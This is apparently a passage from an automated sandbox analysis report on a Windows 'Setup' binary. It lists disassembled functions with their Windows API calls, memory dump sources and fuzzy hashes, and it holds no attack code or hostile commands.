                    Download Yara Rule
                    APIs
                    • SetFilePointer.KERNEL32(?,?,?,00000000,?,?,?,6CB8AA3A,?,00000000,00000000,00000002,?,80000000,00000001,00000003), ref: 6CB88149
                      • Part of subcall function 6CBD89C8: GetLastError.KERNEL32(6CB880E8,6CB8A9FA,?,80000000,00000001,00000003,00000080,00000000,00000000,?,?,?,?,?,00000001), ref: 6CBD89C8
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: ErrorFileLastPointer
                    • String ID:
                    • API String ID: 2976181284-0
                    • Opcode ID: cd72b11069f82d7b43cf21ec1ff0d0e71daffc954b0c1850d702dde64245bbda
                    • Instruction ID: 9d480112be1b9c1a4bf2135569b6daaf3d76e2fe4f2a4ac41669ae59f4d7e044
                    • Opcode Fuzzy Hash: cd72b11069f82d7b43cf21ec1ff0d0e71daffc954b0c1850d702dde64245bbda
                    • Instruction Fuzzy Hash: 1EE09A75600108BF8B04CFA5C840C9E3BB8EF09324B10461AF925D3280DB71EA00DB61
                    Function 6CB8395E Relevance: 1.5, APIs: 1, Instructions: 22COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB83965
                      • Part of subcall function 6CBB8C24: __EH_prolog3.LIBCMT ref: 6CBB8C2B
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3
                    • String ID:
                    • API String ID: 431132790-0
                    • Opcode ID: 181d00470492c982354b1f241ce9fc93a3d051ee2c3d1598c8bca5adbbfaf3f7
                    • Instruction ID: 7f27834b8b4af9b6d4d9d9f7014d4b4b7c070e6f524f34447b1abcd860603b54
                    • Opcode Fuzzy Hash: 181d00470492c982354b1f241ce9fc93a3d051ee2c3d1598c8bca5adbbfaf3f7
                    • Instruction Fuzzy Hash: B0F0397150018AEFCF00DBB8C904BADB762BF04359F108A55E2109BB94CB32E968DB92
                    Function 6CB8391D Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB83924
                      • Part of subcall function 6CBB833E: __EH_prolog3.LIBCMT ref: 6CBB8345
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3
                    • String ID:
                    • API String ID: 431132790-0
                    • Opcode ID: 59b83bb8c3b72f50d5e921d008766c84f7f846d42c899166f27edf7d1456998a
                    • Instruction ID: c65b7feff2a09e4f8c19e0f07b9e6707ea009a7292cfa2bbe60f43aacb6463b1
                    • Opcode Fuzzy Hash: 59b83bb8c3b72f50d5e921d008766c84f7f846d42c899166f27edf7d1456998a
                    • Instruction Fuzzy Hash: 18E01A35601249EFCF018F54C940B9EB7A1FF08754F00C005F9159B760C771EA25EB51
                    Function 6CB91B7A Relevance: 1.5, APIs: 1, Instructions: 18COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3
                    • String ID:
                    • API String ID: 431132790-0
                    • Opcode ID: 944ad1e8a225a2a4789df008a2759ff7fd3b8b36efa8b9668db6c9b962bf6232
                    • Instruction ID: 4d0be1086be4003ce92021d1dc57cac7d9ee51ed60ffa26bd431d4b246c2ed78
                    • Opcode Fuzzy Hash: 944ad1e8a225a2a4789df008a2759ff7fd3b8b36efa8b9668db6c9b962bf6232
                    • Instruction Fuzzy Hash: D4E08C71A012818FEF109FA8C20576D77A1FF08B09F00886DE25ADBB90CBB1D804DB91
                    Function 6CB880F7 Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON
                    Download Yara Rule
                    APIs
                    • WriteFile.KERNEL32(?,?,?,?,00000000,?,6CBB60F1), ref: 6CB8810D
                      • Part of subcall function 6CBD89C8: GetLastError.KERNEL32(6CB880E8,6CB8A9FA,?,80000000,00000001,00000003,00000080,00000000,00000000,?,?,?,?,?,00000001), ref: 6CBD89C8
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: ErrorFileLastWrite
                    • String ID:
                    • API String ID: 442123175-0
                    • Opcode ID: ca059604cc16b7e4b214cb872c4563436ce870ed892953fd17a5e0dcab6767c5
                    • Instruction ID: b78e75432ee841414862b30d18aebd89ef3270a85b6ad67e2c4f490156eb8974
                    • Opcode Fuzzy Hash: ca059604cc16b7e4b214cb872c4563436ce870ed892953fd17a5e0dcab6767c5
                    • Instruction Fuzzy Hash: 40D01736284289BBDB019EA2CC01EAA3BADEB59711F045022FA1486550DB32D420DB62
                    Function 6CBB8380 Relevance: 1.5, APIs: 1, Instructions: 18COMMON
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBB8387
                      • Part of subcall function 6CBB84FF: MultiByteToWideChar.KERNEL32(00000003,00000000,00000000,000000FF,00000000,00000000,6CBBFA6E,-00000960,?,?,6CBB83B3,-00000960,6CB7A794,-00000960,6CB7A794,00000000), ref: 6CBB851E
                      • Part of subcall function 6CBB84FF: MultiByteToWideChar.KERNEL32(00000003,00000000,00000000,000000FF,00000000,00000000,00000000,6CBBFA6E,-00000960,?,?,6CBB83B3,-00000960,6CB7A794,-00000960,6CB7A794), ref: 6CBB853F
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: ByteCharMultiWide$H_prolog3
                    • String ID:
                    • API String ID: 692526729-0
                    • Opcode ID: fedf22c437a4754913f9a3af40f0454d8c1369b4594e2610c7dbe1b216be5a4e
                    • Instruction ID: 9117ee6c7cb56cb3072b8e043f4b126686a6778071ea31e172a4d16d02f8ead4
                    • Opcode Fuzzy Hash: fedf22c437a4754913f9a3af40f0454d8c1369b4594e2610c7dbe1b216be5a4e
                    • Instruction Fuzzy Hash: B3E0123510019967DF416F548901BEE77115F05A9CF008045F9847FB50CF369B199AD6
                    Function 6CBB833E Relevance: 1.5, APIs: 1, Instructions: 18COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3
                    • String ID:
                    • API String ID: 431132790-0
                    • Opcode ID: c0b15b822a8717e0939741407e359506bd00504eb5ba54cc4fd5cff08cd90beb
                    • Instruction ID: 7a9ece7f122f306268c953ba6c9c120da652c03271fa9e5e069da5b91f91ad7d
                    • Opcode Fuzzy Hash: c0b15b822a8717e0939741407e359506bd00504eb5ba54cc4fd5cff08cd90beb
                    • Instruction Fuzzy Hash: 93E01239101198A7DF416F608911BEE37215F05B9DF05D041F9407FB50CB369A199AD6
                    Function 6CBA4ED6 Relevance: 1.5, APIs: 1, Instructions: 17COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CBA4EDD
                      • Part of subcall function 6CB92E15: __EH_prolog3.LIBCMT ref: 6CB92E1C
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3
                    • String ID:
                    • API String ID: 431132790-0
                    • Opcode ID: fe4953b3067fe846f61c94384a8b16d5791359d4510a66e291eda000ade4d39d
                    • Instruction ID: 66e2e08f72e78770e5569b2f1a648c0d12ad7d69ebdd962f80d05b1e255cb2fa
                    • Opcode Fuzzy Hash: fe4953b3067fe846f61c94384a8b16d5791359d4510a66e291eda000ade4d39d
                    • Instruction Fuzzy Hash: 00E08C30800A89EADB40DBA4C648BCE77A86F0E758F00C178D215E7A81C770A71D9762
                    Function 6CB92E15 Relevance: 1.5, APIs: 1, Instructions: 12COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • __EH_prolog3.LIBCMT ref: 6CB92E1C
                      • Part of subcall function 6CB925AF: __EH_prolog3.LIBCMT ref: 6CB925B6
                      • Part of subcall function 6CB925AF: _free.LIBCMT ref: 6CB92657
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: H_prolog3$_free
                    • String ID:
                    • API String ID: 1395095407-0
                    • Opcode ID: 74597fa4d93ebe64785c16b6be41a99fdc4c5e579abbc16f2dba79739e91d014
                    • Instruction ID: f310c676bb184e9ef4a68d8d7c1255ca66ced11aa22f2e654f0860c41deae795
                    • Opcode Fuzzy Hash: 74597fa4d93ebe64785c16b6be41a99fdc4c5e579abbc16f2dba79739e91d014
                    • Instruction Fuzzy Hash: F8D0C9329102849FDB00EFA8C215BDD7761AF54A99F41C425D1459FF84CF31E918D7A2
                    Function 6CBE54F2 Relevance: 1.5, APIs: 1, Instructions: 11memoryCOMMON
                    Download Yara Rule
                    APIs
                    • RtlFreeHeap.NTDLL(?,00000000,00000000), ref: 6CBE5505
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: FreeHeap
                    • String ID:
                    • API String ID: 3298025750-0
                    • Opcode ID: 2d830d309c6e2cf997dd0ef9ed98893e7baaf7bec1b66d122bcc766b27979fbe
                    • Instruction ID: 519515cc475f46edbe40f7ea1115d70febdb8550ebdfdc3a24ccd8d6bf5962ef
                    • Opcode Fuzzy Hash: 2d830d309c6e2cf997dd0ef9ed98893e7baaf7bec1b66d122bcc766b27979fbe
                    • Instruction Fuzzy Hash: C9C08031000108F7CB114E41CC05F967F65E744754F24C010B61D054A0C772D571D694
                    Function 6CBB91AF Relevance: 1.5, APIs: 1, Instructions: 11comCOMMON
                    Download Yara Rule
                    APIs
                    • CoCreateInstance.OLE32(6CB7A974,00000000,00000017,6CB7A9A4,?,?,6CB8B029,?,0000002C,6CBCD55B,?,?,?,?,00000001), ref: 6CBB91C5
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: CreateInstance
                    • String ID:
                    • API String ID: 542301482-0
                    • Opcode ID: f7f59f68abb017eff630a8135a07d8c19c6982e0687f9fe7611babba81e82135
                    • Instruction ID: 8f63013c0589e0438c080be6ab375cb2eb8f24e9b7d1e833e765ec36aa73a771
                    • Opcode Fuzzy Hash: f7f59f68abb017eff630a8135a07d8c19c6982e0687f9fe7611babba81e82135
                    • Instruction Fuzzy Hash: C1C08C3A184248BBC7200582CC06FA5BA2887C4720F015001BA18254828671E8209A79
                    Function 009B2EBE Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                    Download Yara Rule
                    APIs
                    • _doexit.LIBCMT ref: 009B2ECA
                      • Part of subcall function 009B2D79: __lock.LIBCMT ref: 009B2D87
                      • Part of subcall function 009B2D79: _DecodePointerInternal@4.SETUP(009B6EE8,00000020,009B2EEA,?,00000001,00000000,?,009B2F39,000000FF,?,009B4358,00000011,?,?,009B39C3,0000000D), ref: 009B2DC3
                      • Part of subcall function 009B2D79: _DecodePointerInternal@4.SETUP(?,009B2F39,000000FF,?,009B4358,00000011,?,?,009B39C3,0000000D,?,009B2FA5,00000003), ref: 009B2DD4
                      • Part of subcall function 009B2D79: _DecodePointerInternal@4.SETUP(-00000004,?,009B2F39,000000FF,?,009B4358,00000011,?,?,009B39C3,0000000D,?,009B2FA5,00000003), ref: 009B2DFA
                      • Part of subcall function 009B2D79: _DecodePointerInternal@4.SETUP(?,009B2F39,000000FF,?,009B4358,00000011,?,?,009B39C3,0000000D,?,009B2FA5,00000003), ref: 009B2E0D
                      • Part of subcall function 009B2D79: _DecodePointerInternal@4.SETUP(?,009B2F39,000000FF,?,009B4358,00000011,?,?,009B39C3,0000000D,?,009B2FA5,00000003), ref: 009B2E17
                    Memory Dump Source
                    • Source File: 00000007.00000002.2109160683.00000000009B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009B0000, based on PE: true
                    • Associated: 00000007.00000002.2109125547.00000000009B0000.00000002.00000001.01000000.00000006.sdmpDownload File
                    • Associated: 00000007.00000002.2109198922.00000000009B8000.00000004.00000001.01000000.00000006.sdmpDownload File
                    • Associated: 00000007.00000002.2109221350.00000000009BA000.00000002.00000001.01000000.00000006.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_9b0000_Setup.jbxd
                    Similarity
                    • API ID: DecodeInternal@4Pointer$__lock_doexit
                    • String ID:
                    • API String ID: 2547502318-0
                    • Opcode ID: de040e4b3af3e3fd7ea996bf6568ec0e03965820b0d039836c69a1d868c49cad
                    • Instruction ID: ffb396e8d0940932c3e9ae5c5fcdcbaad9d352b192002b061b5a5cb4c89d12d0
                    • Opcode Fuzzy Hash: de040e4b3af3e3fd7ea996bf6568ec0e03965820b0d039836c69a1d868c49cad
                    • Instruction Fuzzy Hash: DBB0923258020833DA212646AC03F863A0987C1B60E240020BA0C191E1A9A3A9618089
                    Function 6CBE54D6 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON
                    Download Yara Rule
                    APIs
                    • RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6CBE54E3
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: AllocateHeap
                    • String ID:
                    • API String ID: 1279760036-0
                    • Opcode ID: a088f873e9462ff79f16fe44f2d515ded9a49a2fd6b45adf24b2c40311097d34
                    • Instruction ID: 24343ee67660df6b8364a544dd67309002e6b29562c3e42d579c654a3d32c280
                    • Opcode Fuzzy Hash: a088f873e9462ff79f16fe44f2d515ded9a49a2fd6b45adf24b2c40311097d34
                    • Instruction Fuzzy Hash: DBC09B36140108B7CB111A42DC05F56BF6DD795751F14C051F60906452C773D421D694
                    Function 6CB8C53D Relevance: 1.3, APIs: 1, Instructions: 58COMMON
                    Download Yara Rule
                    APIs
                    • GetLastError.KERNEL32(?,6CBBA320,564FE71B,?,?), ref: 6CB8C55E
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110736834.000000006CB61000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CB60000, based on PE: true
                    • Associated: 00000007.00000002.2110711538.000000006CB60000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110812459.000000006CC0E000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110838065.000000006CC0F000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110865068.000000006CC17000.00000004.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000007.00000002.2110889980.000000006CC1A000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6cb60000_Setup.jbxd
                    Similarity
                    • API ID: ErrorLast
                    • String ID:
                    • API String ID: 1452528299-0
                    • Opcode ID: 6c42ee7a6d8f86635ea14f8e3e5c15447a21148a93772c20fdce0542e25c2024
                    • Instruction ID: b1305aa87965ef4bfa1545a1a61dd48c89cddf093842768f5b7014c50b39d71f
                    • Opcode Fuzzy Hash: 6c42ee7a6d8f86635ea14f8e3e5c15447a21148a93772c20fdce0542e25c2024
                    • Instruction Fuzzy Hash: CA1182B2641341AFEB24DF26D916B2A7BE4EB00714F20862DE246DA9D0DB75E9448B44

                    Non-executed Functions

                    Function 6E0C4281 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 270filethreadCOMMON
                    Download Yara Rule
                    APIs
                    • memset.MSVCRT ref: 6E0C42CF
                      • Part of subcall function 6E0C443B: LoadLibraryW.KERNEL32(SensApi.dll,00000000,?), ref: 6E0C4452
                      • Part of subcall function 6E0C443B: GetProcAddress.KERNEL32(00000000,IsNetworkAlive), ref: 6E0C4468
                      • Part of subcall function 6E0C443B: FreeLibrary.KERNEL32(00000000), ref: 6E0C447F
                      • Part of subcall function 6E0C3E29: RegOpenKeyExW.KERNEL32(?,?,00000000,-00020018,00000000,80000002,CEIPEnable,00000002), ref: 6E0C3E94
                      • Part of subcall function 6E0C3E29: RegQueryValueExW.KERNEL32(00000000,00000002,00000000,?,?,00000004), ref: 6E0C3EB0
                      • Part of subcall function 6E0C3E29: RegCloseKey.ADVAPI32(00000000), ref: 6E0C3ECE
                    • EnterCriticalSection.KERNEL32(00000030,?,00000104,?,80000002,Software\Microsoft\SQMClient,DoNotDeleteFileAfterUpload,?,00000000,?,6E0E0168), ref: 6E0C434C
                    • FindFirstFileW.KERNEL32(?,?,?,6E0E0168), ref: 6E0C4392
                    • LeaveCriticalSection.KERNEL32(?,?,6E0E0168), ref: 6E0C43CD
                    • ctype.LIBCPMT ref: 6E0C43F5
                    • FindNextFileW.KERNEL32(?,00000010,?,6E0E0168), ref: 6E0CB9A3
                    • FindClose.KERNEL32(?,?,6E0E0168), ref: 6E0CB9BD
                    • ResetEvent.KERNEL32(?,?,6E0E0168), ref: 6E0CB9DD
                    • CreateThread.KERNEL32(00000000,00000000,6E0CBC8D,00000000,00000000,00000054), ref: 6E0CB9FB
                      • Part of subcall function 6E0CB850: realloc.MSVCRT ref: 6E0CB88E
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: Find$CloseCriticalFileLibrarySection$AddressCreateEnterEventFirstFreeLeaveLoadNextOpenProcQueryResetThreadValuectypememsetrealloc
                    • String ID: DoNotDeleteFileAfterUpload$Software\Microsoft\SQMClient$W
                    • API String ID: 746345222-799691104
                    • Opcode ID: 8cb1c9aa43912b3d12efce604c5fbd5caab50de4439d71118358804d3bba8024
                    • Instruction ID: 5b62b3561c299ca677a64c654e785cf73e9c2f1c48bc2a5f5383d0fdc3a786a5
                    • Opcode Fuzzy Hash: 8cb1c9aa43912b3d12efce604c5fbd5caab50de4439d71118358804d3bba8024
                    • Instruction Fuzzy Hash: 77B1BDB090421AAFCB50CFA4CC84B9DBBB9FF05748F4045A9E618E7161E771D989CF16
                    Function 6E0D8097 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 166fileCOMMON
                    Download Yara Rule
                    APIs
                    • memset.MSVCRT ref: 6E0D80D6
                    • memset.MSVCRT ref: 6E0D80EF
                      • Part of subcall function 6E0C18E5: _vsnwprintf.MSVCRT ref: 6E0C1913
                    • FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,1000FFFF,00000000), ref: 6E0D81D8
                      • Part of subcall function 6E0D99F8: EtwTraceMessage.NTDLL ref: 6E0D9A13
                    Strings
                    Memory Dump Source
                    • Source File: 00000007.00000002.2110947863.000000006E0C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6E0C0000, based on PE: true
                    • Associated: 00000007.00000002.2110919322.000000006E0C0000.00000002.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2110980585.000000006E0E0000.00000004.00000001.01000000.00000008.sdmpDownload File
                    • Associated: 00000007.00000002.2111006701.000000006E0E1000.00000002.00000001.01000000.00000008.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_7_2_6e0c0000_Setup.jbxd
                    Similarity
                    • API ID: memset$FileFindFirstMessageTrace_vsnwprintf
                    • String ID: %s\%s$W
                    • API String ID: 675349215-3036690452
                    • Opcode ID: 717c0748a9d187653f331394b23a04c56ceef475921ac410e093d4b5bc9621cb
                    • Instruction ID: 320fe3a4d07a7568b3bcf36b490b85faa73100243153a36f4cdb93ce6d0dcdea
                    • Opcode Fuzzy Hash: 717c0748a9d187653f331394b23a04c56ceef475921ac410e093d4b5bc9621cb
                    • Instruction Fuzzy Hash: 5551D0B0800719AFCB50CFD5CC84FAA7BB9AF15748F4041A4EA19AB191E7318A8CCF65
                    Function 009B2BA5 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • IsDebuggerPresent.KERNEL32 ref: 009B40FF
                    • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 009B4114
                    • UnhandledExceptionFilter.KERNEL32(009B1C60), ref: 009B411F
                    • GetCurrentProcess.KERNEL32(C0000409), ref: 009B413B
                    • TerminateProcess.KERNEL32(00000000), ref: 009B4142
                    Memory Dump Source
                    • Source File: 00000007.00000002.2109160683.00000000009B1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009B0000, based on PE: true
                    • Associated: 00000007.00000002.2109125547.00000000009B0000.00000002.00000001.01000000.00000006.sdmpDownload File
                    • Associated: 00000007.00000002.2109198922.00000000009B8000.00000004.00000001.01000000.00000006.sdmpDownload File
                    • Associated: 00000007.00000002.2109221350.00000000009BA000.00000002.00000001.01000000.00000006.sdmpDownload File
                    Joe Sandbox IDA Plugin
